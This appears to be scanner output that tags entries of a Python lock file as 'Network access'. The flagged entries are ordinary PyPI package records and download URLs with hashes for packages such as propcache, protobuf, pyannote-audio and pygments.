    { url = "https://files.pythonhosted.org/packages/74/c1/bb7e334135859c3a92ec399bc89293ea73f28e815e35b43929c8db6af030/primePy-1.3-py3-none-any.whl", hash = "sha256:5ed443718765be9bf7e2ff4c56cdff71b42140a15b39d054f9d99f0009e2317a", size = 4040
  • Network accessline 1176
    name = "propcache" version = "0.5.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1177
    version = "0.5.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7
  • Network accessline 1178
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1179
    sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50
  • Network accessline 1180
    wheels = [     { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63
  • Network accessline 1181
    { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d
  • Network accessline 1182
    { url = "https://files.pythonhosted.org/packages/6b/65/83d1d05655baf63113731bd5a1008435e14f8d1e5a06cbe4ec5b23ad7a31/propcache-0.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651b
  • Network accessline 1183
    { url = "https://files.pythonhosted.org/packages/a9/12/a6ba6482bb5ea3260c000c9b20881c95fa11c6b30173715668259f844ed7/propcache-0.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3b
  • Network accessline 1184
    { url = "https://files.pythonhosted.org/packages/a9/19/7fa086f5764c59ec8a8e157cd93aa8497acc00aba9dcdec56bfffb32602d/propcache-0.5.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a6ae219
  • Network accessline 1185
    { url = "https://files.pythonhosted.org/packages/a1/e4/5d7663dc8235956c8f5281698a3af1d351d8820341ddd890f59d9a9127f2/propcache-0.5.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6041d31
  • Network accessline 1186
    { url = "https://files.pythonhosted.org/packages/4a/4a/15a03adee24d6350da4292caeac44c34c033d2afe5e87eb370f38854560f/propcache-0.5.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7eabc04151c7
  • Network accessline 1187
    { url = "https://files.pythonhosted.org/packages/8b/c6/979176efdaa3d239e36d503d5af63a0a773b36662ed8f52e5b6a6d9fd40e/propcache-0.5.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4db0ba63d6
  • Network accessline 1188
    { url = "https://files.pythonhosted.org/packages/c8/22/63e8cd1bae4c2d2be6493b6b7d10566ddafad88137cfbc99964a1119853c/propcache-0.5.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dbcf7675229b35d31abb6547d8eb
  • Network accessline 1189
    { url = "https://files.pythonhosted.org/packages/60/5a/28e5d9acbac1cc9ccb67045e8c1b943aa8d79fdf39c93bd73cacd68008ea/propcache-0.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4
  • Network accessline 1190
    { url = "https://files.pythonhosted.org/packages/f3/40/db650677f554a95b9c01a7c9d93d629e93a15562f5deb4573c9ee136fed2/propcache-0.5.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9
  • Network accessline 1191
    { url = "https://files.pythonhosted.org/packages/80/45/70b39b89516ff8b96bf732fa6fded8cef20f293cb1508690101c3c07ec51/propcache-0.5.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee19
  • Network accessline 1192
    { url = "https://files.pythonhosted.org/packages/f9/e2/fa59d3a89eac5534293124af4f1d0d0ada091ce4a0ab4610ce03fd2bdd8d/propcache-0.5.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699
  • Network accessline 1193
    { url = "https://files.pythonhosted.org/packages/0b/97/efb547a55c4bc7381cfb202d6a2239ac621045277bc1ea5dfd3a7f0516c0/propcache-0.5.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775
  • Network accessline 1194
    { url = "https://files.pythonhosted.org/packages/92/56/f5c7d9b4b7595d5127da38974d791b2153f3d1eae6c674af3583ace92ad3/propcache-0.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464
  • Network accessline 1195
    { url = "https://files.pythonhosted.org/packages/bd/3b/484a3a65fc9f9f60c41dcd17b428bace5389544e2c680994534a20755066/propcache-0.5.2-cp313-cp313-win32.whl", hash = "sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d", si
  • Network accessline 1196
    { url = "https://files.pythonhosted.org/packages/1c/fd/3f0f10dba4dabad3bf53102be007abf55481067952bde0fdddff439e7c61/propcache-0.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757"
  • Network accessline 1197
    { url = "https://files.pythonhosted.org/packages/90/ec/6ce619cc32bb500a482f811f9cd509368b4e58e638d13f2c68f370d6b475/propcache-0.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f"
  • Network accessline 1198
    { url = "https://files.pythonhosted.org/packages/1b/82/c1d268bbbf2ef981c5bf0fbbe746db617c66e3bcefe431a1aa8943fbe23a/propcache-0.5.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf
  • Network accessline 1199
    { url = "https://files.pythonhosted.org/packages/f4/d4/52c871e73e864e6b34c0e2d58ac1ec5ccd149497ddc7ad2137ae98323a35/propcache-0.5.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b
  • Network accessline 1200
    { url = "https://files.pythonhosted.org/packages/67/f0/9b90ca2a210b3d09bcfcd96ecd0f55545c091535abce2a45de2775cfd357/propcache-0.5.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e
  • Network accessline 1201
    { url = "https://files.pythonhosted.org/packages/9d/0e/6e9d4ba07c8e56e21ddec1e75f12148142b21ca83a51871babce095334f4/propcache-0.5.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cafca7
  • Network accessline 1202
    { url = "https://files.pythonhosted.org/packages/65/19/c10badaa463dde8a27ce884f8ee2ec37e6035b7c9f5ff0c8f74f06f08dac/propcache-0.5.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f064f8
  • Network accessline 1203
    { url = "https://files.pythonhosted.org/packages/b0/b6/93bea99ca80e19cef6512a8580e5b7857bbe09422d9daa7fd4ef5723306c/propcache-0.5.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f78abfa8dfc3
  • Network accessline 1204
    { url = "https://files.pythonhosted.org/packages/83/e4/5c7462e50625f051f37fb38b8224f7639f667184bbd34424ec83819bb1b7/propcache-0.5.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f7467da8a
  • Network accessline 1205
    { url = "https://files.pythonhosted.org/packages/ca/b6/99238894047b13c823be25027e736626cd414a52a5e30d2c3347c2733529/propcache-0.5.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a6ddc6ac9e25de626c1f129c1b46
  • Network accessline 1206
    { url = "https://files.pythonhosted.org/packages/85/1e/a3a1a63116a2b8edb415a8bb9a6f0c34bd03830b1e18e8ce2904e1dc1cf4/propcache-0.5.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a98242
  • Network accessline 1207
    { url = "https://files.pythonhosted.org/packages/e4/03/893cf147de2fc6543c5eaa07ad833170e7e2a2385725bbebe8c0503723bb/propcache-0.5.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44
  • Network accessline 1208
    { url = "https://files.pythonhosted.org/packages/86/3b/04c1a2e12c57766568ba75ba72b3bf2042818d4c1425fab6fc07155c7cff/propcache-0.5.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df3
  • Network accessline 1209
    { url = "https://files.pythonhosted.org/packages/1c/34/80f8d0099f8d6bacc4de1624c85672681c8cd1149ca2da0e38fd120b817f/propcache-0.5.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d584
  • Network accessline 1210
    { url = "https://files.pythonhosted.org/packages/f3/1a/8b08f3a5f1037e9e370c55883ceeeee0f6dd0416fb2d2d67b8bfc91f2a79/propcache-0.5.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879
  • Network accessline 1211
    { url = "https://files.pythonhosted.org/packages/34/68/8bdb7bb7756d76e005490649d10e4a8369e610c74d619f71e1aedf889e9c/propcache-0.5.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd
  • Network accessline 1212
    { url = "https://files.pythonhosted.org/packages/0a/aa/50fb0b5d3968b61a510926ff8b8465f1d6e976b3ab74496d7a4b9fc42515/propcache-0.5.2-cp313-cp313t-win32.whl", hash = "sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191", s
  • Network accessline 1213
    { url = "https://files.pythonhosted.org/packages/ae/4c/0ddbae64321bd4a95bcbfc19307238016b5b1fee645c84626c8d539e5b74/propcache-0.5.2-cp313-cp313t-win_amd64.whl", hash = "sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7
  • Network accessline 1214
    { url = "https://files.pythonhosted.org/packages/00/d9/9cddc8efb78d8af264c5ec9f6d10b62f57c515feda8d321595f56010fb23/propcache-0.5.2-cp313-cp313t-win_arm64.whl", hash = "sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96
  • Network accessline 1215
    { url = "https://files.pythonhosted.org/packages/3a/ed/1cdcab6ba3d6ab7feca11fc14f0eeea80755bb53ef4e892079f31b10a25f/propcache-0.5.2-py3-none-any.whl", hash = "sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe", size = 
  • Network accessline 1219
    name = "protobuf" version = "7.36.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1220
    version = "7.36.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a7/e7/0553e21d25ca4d9f573135775348a372c3ec34a93a71d5f297c3bac38341/protobuf-7.36.0.tar.gz", hash = "sha256:e8e09c
  • Network accessline 1221
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1222
    sdist = { url = "https://files.pythonhosted.org/packages/a7/e7/0553e21d25ca4d9f573135775348a372c3ec34a93a71d5f297c3bac38341/protobuf-7.36.0.tar.gz", hash = "sha256:e8e09cb0d794c6687926fa558a8a6e72aa10edb997d5ca61da0765f12a3e00ea", size = 51
  • Network accessline 1223
    wheels = [     { url = "https://files.pythonhosted.org/packages/8f/ae/58e3ca96cb2e118cc546b677359b3c6659f79a140935c08dec94c7998585/protobuf-7.36.0-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:9103532dffd80c6fab7e50c65a31007680a06e
  • Network accessline 1224
    { url = "https://files.pythonhosted.org/packages/8f/ae/58e3ca96cb2e118cc546b677359b3c6659f79a140935c08dec94c7998585/protobuf-7.36.0-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:9103532dffd80c6fab7e50c65a31007680a06eb57537d437bb1b3
  • Network accessline 1225
    { url = "https://files.pythonhosted.org/packages/f0/15/5162230af4912697f0fe406f6800f80760945babcff0e2c2fe6c84ef2d5d/protobuf-7.36.0-cp310-abi3-manylinux2014_aarch64.whl", hash = "sha256:bf94a5917c71058262de683669bc0a797a7669d3de71f0b36d058e
  • Network accessline 1226
    { url = "https://files.pythonhosted.org/packages/d7/09/1670b2bfc9a45e807e520c3e9be36524db9ccc7dc05ea17af7681cabdc61/protobuf-7.36.0-cp310-abi3-manylinux2014_s390x.whl", hash = "sha256:3297e60abdff301e5f74393d87f6cc59dacab5f024a89548a6e8de1d
  • Network accessline 1227
    { url = "https://files.pythonhosted.org/packages/c7/f8/bd5804695ba400e423c33fd4d9f58c28d86633d5ba1945c36ff3967d98cb/protobuf-7.36.0-cp310-abi3-manylinux2014_x86_64.whl", hash = "sha256:70f5ec8eb0da81a44360c0dc0beac99a0d78071d21956a7076bae8b
  • Network accessline 1228
    { url = "https://files.pythonhosted.org/packages/ef/9f/acd02338235a3e7d03168c4303478347b7624fc8189ff4e7f0d2654bbe86/protobuf-7.36.0-cp310-abi3-win32.whl", hash = "sha256:7326fd717bdc419162a735938d89d4032332bcc3408804012b24ff3a37086071", siz
  • Network accessline 1229
    { url = "https://files.pythonhosted.org/packages/0e/4e/12cb93270967a2affff5b3f720694700d4d87712a67afd05c8cb3f6fa52c/protobuf-7.36.0-cp310-abi3-win_amd64.whl", hash = "sha256:1781cc1de61249b750848029bca452c0a8b7e990080316b9bbc2518b2117b488",
  • Network accessline 1230
    { url = "https://files.pythonhosted.org/packages/01/c3/629999e78d46c1115c11886d51c6bd68c17ce4a944f1ea3e153a91316a33/protobuf-7.36.0-py3-none-any.whl", hash = "sha256:53374d53fc29a67f7dbbf0ade47d7526a0f0137bf0f9c90e48d8a60790ef748c", size = 
  • Network accessline 1234
    name = "pyannote-audio" version = "4.0.7" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1235
    version = "4.0.7" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1236
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1258
    { name = "torchmetrics" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d
  • Network accessline 1259
    ] sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d62e8a57c46c6648e8a8229", si
  • Network accessline 1260
    sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d62e8a57c46c6648e8a8229", size
  • Network accessline 1261
    wheels = [     { url = "https://files.pythonhosted.org/packages/66/a3/1d03ed6c7669f7b94ce4a7ebe3b21f5c3b6331999a5680837e371e0a0537/pyannote_audio-4.0.7-py3-none-any.whl", hash = "sha256:852ea15c4d85bc34773e618267603ffca6a521669a74d33742692c
  • Network accessline 1262
    { url = "https://files.pythonhosted.org/packages/66/a3/1d03ed6c7669f7b94ce4a7ebe3b21f5c3b6331999a5680837e371e0a0537/pyannote_audio-4.0.7-py3-none-any.whl", hash = "sha256:852ea15c4d85bc34773e618267603ffca6a521669a74d33742692cc67fc700d6", si
  • Network accessline 1266
    name = "pyannote-core" version = "6.0.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1267
    version = "6.0.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1268
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1272
    { name = "sortedcontainers" }, ] sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb
  • Network accessline 1273
    ] sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb5a0fe26014a3477867cc033fb", siz
  • Network accessline 1274
    sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb5a0fe26014a3477867cc033fb", size 
  • Network accessline 1275
    wheels = [     { url = "https://files.pythonhosted.org/packages/ea/57/ecf62344b9b81debd0ca95ed987135e93d1b039507f8174f52d1d19d8c6b/pyannote_core-6.0.1-py3-none-any.whl", hash = "sha256:924550d6ecf6b05ad13bf3f66f59c29fc740cf1c62a6fca860ac2e6
  • Network accessline 1276
    { url = "https://files.pythonhosted.org/packages/ea/57/ecf62344b9b81debd0ca95ed987135e93d1b039507f8174f52d1d19d8c6b/pyannote_core-6.0.1-py3-none-any.whl", hash = "sha256:924550d6ecf6b05ad13bf3f66f59c29fc740cf1c62a6fca860ac2e66908203e5", siz
  • Network accessline 1280
    name = "pyannote-database" version = "6.1.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1281
    version = "6.1.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1282
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1286
    { name = "pyyaml" }, ] sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91
  • Network accessline 1287
    ] sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91a9269606d873528cd10",
  • Network accessline 1288
    sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91a9269606d873528cd10", s
  • Network accessline 1289
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/bf/6a6f5abaa4d9f803f34c9883ef5e316624eac6be0eaa87720216be9bba12/pyannote_database-6.1.1-py3-none-any.whl", hash = "sha256:36460c70ce9f50ff25c9ea365bc83ad625bb6b2494deccf6bd3
  • Network accessline 1290
    { url = "https://files.pythonhosted.org/packages/04/bf/6a6f5abaa4d9f803f34c9883ef5e316624eac6be0eaa87720216be9bba12/pyannote_database-6.1.1-py3-none-any.whl", hash = "sha256:36460c70ce9f50ff25c9ea365bc83ad625bb6b2494deccf6bd3fc750686ae684",
  • Network accessline 1294
    name = "pyannote-metrics" version = "4.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1295
    version = "4.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1296
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1303
    { name = "scipy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd
  • Network accessline 1304
    ] sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd1a77ccec0343f7e", si
  • Network accessline 1305
    sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd1a77ccec0343f7e", size
  • Network accessline 1306
    wheels = [     { url = "https://files.pythonhosted.org/packages/ca/d3/9cd1df66aa9be47a36df46f007e198bbdec3ddebc1bd8833c7a9e8a554a9/pyannote_metrics-4.1-py3-none-any.whl", hash = "sha256:34a54b7671f61709c1865d0484843e5b46ea3c4e4e5260ab065e5b
  • Network accessline 1307
    { url = "https://files.pythonhosted.org/packages/ca/d3/9cd1df66aa9be47a36df46f007e198bbdec3ddebc1bd8833c7a9e8a554a9/pyannote_metrics-4.1-py3-none-any.whl", hash = "sha256:34a54b7671f61709c1865d0484843e5b46ea3c4e4e5260ab065e5b3156c733d3", si
  • Network accessline 1311
    name = "pyannote-pipeline" version = "4.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1312
    version = "4.0.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1313
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1320
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f642
  • Network accessline 1321
    ] sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f6426c3255ff45dd3c6da",
  • Network accessline 1322
    sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f6426c3255ff45dd3c6da", s
  • Network accessline 1323
    wheels = [     { url = "https://files.pythonhosted.org/packages/d8/83/51290b8a17a3007bc4e4a5ea897f0765f30a6598d58670ba12d35ac0cc36/pyannote_pipeline-4.0.0-py3-none-any.whl", hash = "sha256:6b0bfc19e684d89cc1608bb39448e15ff1231d4a87e99fc7e81
  • Network accessline 1324
    { url = "https://files.pythonhosted.org/packages/d8/83/51290b8a17a3007bc4e4a5ea897f0765f30a6598d58670ba12d35ac0cc36/pyannote_pipeline-4.0.0-py3-none-any.whl", hash = "sha256:6b0bfc19e684d89cc1608bb39448e15ff1231d4a87e99fc7e812e7891b8cd555",
  • Network accessline 1328
    name = "pyannoteai-sdk" version = "0.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1329
    version = "0.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1330
    source = { registry = "https://pypi.org/simple/" } dependencies = [     { name = "requests" },
  • Network accessline 1332
    { name = "requests" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c9
  • Network accessline 1333
    ] sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c90c5a16fa441ea8cf9d", si
  • Network accessline 1334
    sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c90c5a16fa441ea8cf9d", size
  • Network accessline 1335
    wheels = [     { url = "https://files.pythonhosted.org/packages/f9/8d/16e62133ff748931e923c2d29a150a710c85283f533a4148adc42addb6a8/pyannoteai_sdk-0.4.0-py3-none-any.whl", hash = "sha256:36a0175978e0427f27843d690eb4d1e8ec839009ea540516d6dfcd
  • Network accessline 1336
    { url = "https://files.pythonhosted.org/packages/f9/8d/16e62133ff748931e923c2d29a150a710c85283f533a4148adc42addb6a8/pyannoteai_sdk-0.4.0-py3-none-any.whl", hash = "sha256:36a0175978e0427f27843d690eb4d1e8ec839009ea540516d6dfcdce749cd883", si
  • Network accessline 1340
    name = "pygments" version = "2.21.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1341
    version = "2.21.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca7
  • Network accessline 1342
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1343
    sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 50
  • Network accessline 1344
    wheels = [     { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377
  • Network accessline 1345
    { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 
  • Network accessline 1349
    name = "pyparsing" version = "3.3.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1350
    version = "3.3.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d
  • Network accessline 1351
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1352
    sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc", size = 68
  • Network accessline 1353
    wheels = [     { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc6
  • Network accessline 1354
    { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 
  • Network accessline 1358
    name = "python-dateutil" version = "2.9.0.post0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1359
    version = "2.9.0.post0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1360
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1362
    { name = "six" }, ] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90f
  • Network accessline 1363
    ] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0a
